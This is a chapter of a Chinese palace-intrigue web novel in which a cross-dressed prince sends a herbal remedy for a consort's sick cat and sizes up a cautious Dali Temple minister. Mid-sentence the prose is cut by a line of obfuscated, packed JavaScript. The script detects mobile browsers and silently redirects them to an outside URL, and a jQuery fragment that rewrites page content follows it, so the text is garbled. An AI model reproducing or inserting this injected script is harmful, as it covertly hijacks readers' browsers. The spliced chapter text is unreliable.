陈氏药铺地处僻静，根本不在闹市周遭，平日往来病患寥寥，里头仅有一人勉强与官宦人家有所牵扯。
陈茵安分守己，究竟犯下何等要紧事端，竟会被直接带入宫中，惹得白芷惶恐落泪？
秦怀谨百思不得其解，“你从何处得知此事？”
她实在想不通其中关节，只得先核实消息真假。
白芷鼻尖泛红，泣不成声，话语断断续续。“我，我采买晚膳食材，路过药铺，撞见谷芽在门前焦躁徘徊。他本想闭门，可他只是铺中伙计，不敢擅自做主，怕生出祸端……”
心绪翻涌，哽咽难续，余下的话尽数堵在喉间，再也说不下去。
秦怀谨心中骤然了然，陈茵被骤然带入宫中的缘由，已然隐隐指向那个她最不愿触及的答案。
终究，还是走到这一步了。
是她一身风波难断，生生牵连了与世无争的陈掌柜。
“谷芽说，是宫里某位娘娘的狸奴呕吐不止，有官差奉命前来，直接将陈掌柜押走了。”
白芷缓过气息，低声补全了自己所知的实情。
听闻此言，秦怀谨紧绷的心弦骤然一松，悬着的巨石稍稍落地，可心底愧疚也随之翻涌上来。
陈茵此番虽不至于性命堪忧，却免不了一番盘问折辱，少不了要受一场苦楚。
追根溯源，终究是因她而起。
白芷口中的狸奴二字，便是破开迷局的关键，瞬间将所有线索尽数串联。
她往日制做的驱蚊香囊，配方里本就不含任何会致使牲畜呕吐的药材。
而今宫中小猫无故暴呕，恰恰说明，定然是有异样草药被暗中掺了进去。
太医院院使李延，单凭她身上残留的药香，便能精准辨出诸般药材，足见其痴迷药理，对药材的造诣极深。
那日他去过陈氏药铺，后续以向陈茵采买的驱蚊药包为基底擅自改良配方，也就说得通了。
只是他万万不曾料到，改良配伍之中，竟混有伤及狸奴的药材。
这是秦怀谨能想到的唯一合理缘由。
若非如此，安分守己的陈茵，断然不可能无端牵扯进后宫娘娘与宫眷宠物的事端之中。
这般想来，秦怀谨心中着实安定了几分。
她早料到有人会擅自改良驱蚊药方，先前便特意叮嘱过陈茵，仔细交代过药方隐患，尤其提及过部分药材易致使牲畜呕吐。
当初她寻来这副方子，本就是为养猫之时安全驱蚊，才多方斟酌筛选。
只是可惜，陈茵虽能牢记叮嘱，懂得规避自身嫌疑，却并无诊治小猫的本事，没法对症下药，治好那只不适的猫。
更何况那猫养在深宫，主人位份尊崇，宫内诸事向来干系重大，一步踏错，便会招来灭顶祸事。
秦怀谨不过借陈茵的药铺安稳营生，从未想过要连累对方，断送性命。
纵使日后她女扮男装的秘密败露，只要届时她大势在握，身居高位，非但不会引来杀身之祸，反倒会成为世人称颂的一段佳话。
念及此处，秦怀谨眸光微沉。
深宫之中，无论主子是太后或是宫中高位之人，皆是触之即危的存在。
一只御养小猫出事，便能轻易将一介寻常药铺掌柜拘拿入宫，可见天家威仪之下，从无小事。
她绝不能让陈茵因自己无端殒命。
思定片刻，秦怀谨敛去心头纷绪，抬眸看向白芷，神色沉静淡然，“此事我已然清楚。眼下公务在身，大理寺卿贺大人还在等我，实在不便抽身入宫。你即刻前往宫门外，寻母妃身边的近身嬷嬷，托她代为传话。”
秦怀谨下意识侧目望向贺明鹊，心底终究对这位初识的大理寺卿存着几分戒备与顾虑。
转念一想，大理寺衙署素来规矩森严，主事官员向来秉公持重、谨言慎行，应当不会随意外泄旁人私语。
秦怀谨思索片刻后，终究道出了心中想好的应对法子，正是医治那只小猫的稳妥良方。
“猫娇弱，鼻嗅至敏。驱蚊香囊多掺辛烈走窜之药，浊气冲鼻，致它气机上逆，才会频频呕吐。只需尽数撤去各处驱蚊药包，置猫儿于通风清爽之地。以甘松、茅香煮水淡散浊气，再用陈皮、芦根、茯苓煎取清汤，少量喂服，和胃止呕。静养两日，便可痊愈。”
秦怀谨怕白芷一时记不全，又放缓语速，特意重申了一遍那只猫需服食的汤药与调理法子，字字清晰，唯恐她传话时有半分错漏。
秦怀谨反复叮嘱完毕，目光沉沉扫过身侧沉默立着的贺明鹊。
方才这番救治狸奴的法子，毫无避讳落入大理寺卿耳中。
贺明鹊眸色微动，显然听出了端倪。
寻常人别说如何救治猫狗，能舍得花心思在猫狗身上的都是少见。
唯独秦怀谨精准点出药香冲逆，气机反胃的病根，这分明是对草药药性以及禁忌了如指掌。
贺明鹊并未当场发问，只不动声色收敛神色，愈发确定秦怀谨不似外界传闻那般——无用。
交代完一切，秦怀谨抬手取下腰间一枚温润玉佩，递到白芷手中，“持此信物去宫门，母妃宫里人见了自会信你。一字不差把话带到，务必叮嘱，汤药不可熬得过浓，喂食切忌心急。”
白芷紧紧攥住玉佩，郑重应下，不敢耽搁，转身快步朝着宫城方向而去。
待到白芷身影走远，周遭只剩秦怀谨，贺明鹊和他的属下。
贺明鹊终于缓缓开口，语气听不出喜怒，“怀王殿下对草木药性和禽畜调治，倒是格外精通。”
秦怀谨神色不变，淡淡敛袖，“不过是闲时翻阅杂书，略知皮毛罢了。眼下旧案悬而未决，大理寺公务繁重，不宜在此久留。”
她刻意岔开话题，不想过早暴露自己的底牌。
可贺明鹊何等敏锐，已然暗自记下这个破绽。
后宫娘娘的猫突发呕逆，全城唯独陈氏药铺的驱蚊香包出了问题，偏偏秦怀谨，刚好知晓弊端。
秦怀谨立于马车旁，遥遥望着巍峨宫墙，心底清明。
猫生病只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486855|202062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是引子，药方风波是切口，这场看似细碎的后宫小事，迟早会顺着药草线索，缠上朝堂的棋局之中。
救下陈茵，稳住药方隐患，既是保全自己的后路，也是提前握住了拿捏太医院，制衡宫内势力的一枚暗棋。
贺明鹊站在身侧，目光望向宫墙深处，冷声道，“怀王殿下，要不要同我一道，回大理寺细查旧案余下线索？”
秦怀谨收回远眺的目光，神色冷敛，缓步颔首。
她心底瞬间掠过了层层算计。
借此番同往查案的契机，可以近距离审视贺明鹊的行事手段、断案谋略与心性城府，好好掂量此人深浅。
倘若贺明鹊确有经世之才，品性与魄力皆属上乘，将其收归麾下，引为臂助，二人并肩周旋朝野，撬动盘根错节的各方势力，重塑朝堂格局，必会是她谋弈之路中浓墨重彩的一步。
且除此之外，更有切身考量。
方才她叮嘱白芷的每一言，调理猫的独门见解，皆被贺明鹊尽收耳底。
若能顺势拉拢，令贺明鹊心甘情愿站在自己一方，便能牢牢守住今日的隐秘，杜绝私言外泄的风险，免去日后被人拿捏把柄的后患。
心念转瞬落定，秦怀谨面上不起半分波澜，“正有此意。”
贺明鹊眸光微定，深深看了身侧之人一眼。
朝野上下甚少有人留意这位五皇子，坊间与朝堂间，更是毫无波澜。
众人唯一茶余饭后偶尔提及的闲话，不过是早朝嗜睡、倦怠寡言罢了。
除此以外，唯一让人记住的，不过是几番言语失度，当众令太子与帝王颜面有损，再无其他可为人深究的事迹。
可眼前这人，当真如外界所见那般庸碌无为，对今后储君之位毫无影响吗？
贺明鹊向来中立自持，从不参与党争，也不依附任何一方势力。
可方才亲眼目睹秦怀谨的言谈行事，种种细节落于眼底，他心底不由生出一股隐隐的预感。
这位向来游离在所有纷争之外的怀王，从来都不是什么局外人。
看似与世无争，实则藏锋守拙，暗自蛰伏蓄力。
日后朝堂储位角逐愈演愈烈，风起云涌之际，秦怀谨必然不会一直置身事外，反倒会成为影响大局的关键力量，甚至足以左右储君之势。
纵使已然窥破几分端倪，预判到日后储位相争、朝局动荡的暗流，贺明鹊依旧固守本心，不肯越雷池半步。
在他心中，皇权更迭也好，储位角逐也罢，皆是天家内事。
朝堂格局如何翻新，诸王势力如何消长，从来与他无关。
他的职责从来只有一桩。
执掌刑狱，明辨是非，勘断疑案，肃清冤屈。
不求攀附权贵平步青云，只求守住律法底线，减少天下冤假错案，以一己之力护世间安稳，让百姓少受讼狱之苦，四方得享清平。
贺明鹊压下心底翻涌的思绪，面上依旧是一贯的冰冷，不露半分异色。
他拱手淡声道，“殿下，请。”